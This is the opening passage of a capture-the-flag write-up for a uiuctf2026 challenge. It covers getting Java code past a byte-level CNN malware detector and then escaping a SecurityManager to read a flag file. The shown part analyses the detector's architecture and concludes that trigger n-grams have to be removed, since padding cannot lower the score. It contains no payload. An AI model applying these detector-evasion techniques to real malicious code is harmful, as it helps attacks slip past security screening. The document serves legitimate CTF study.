jail — uiuctf2026

Description

Java Sandbox Runner. Paste a Java class over ncat --ssl <host> 1337, terminated by a line DONE. The server runs the source through an ML "malicious code detector" before compiling and running it under a SecurityManager. Read /flag.

Two independent gates must be beaten in a single submission:

1. A CNN "malicious code detector" must score the source sigmoid(logit) < 0.1.
2. The accepted source runs as UserClass.run() under a restrictive Java 8 SecurityManager that blocks every direct file read. Goal: read /flag (root-owned).

Connection: ncat --ssl jail-<id>.chal.uiuc.tf 1337 (kCTF/nsjail instance, PoW disabled, per-session hostname).

Recon

Gate 1 — the ML classifier (main.py + model.py)

main.py reads source lines until DONE, then:

source_tensor = torch.tensor(list(source.encode("utf8"))).unsqueeze(0)
logits = model(source_tensor)
if torch.sigmoid(logits) >= 0.1:
    print("malicious code detected"); exit()

MaliciousDetection architecture (model.py):

• nn.Embedding(257, 32, padding_idx=256) — each source byte becomes a 32-dim vector.
• Four parallel Conv1d over the embedding, kernel sizes 3, 5, 10, 20 → ReLU.
• AdaptiveMaxPool1d(1) on each — a global max over all sequence positions.
• concat 4×64 = 256 features → Dropout → Linear(256, 1) → logit.

Critical property: because of the global AdaptiveMaxPool1d(1), the score is driven by the single strongest n-gram activation anywhere in the source. Adding benign padding or comments cannot lower the peak. To reduce the score you must physically remove the triggering byte n-grams.

Empirical scoring (via score.py / ablate2.py):

...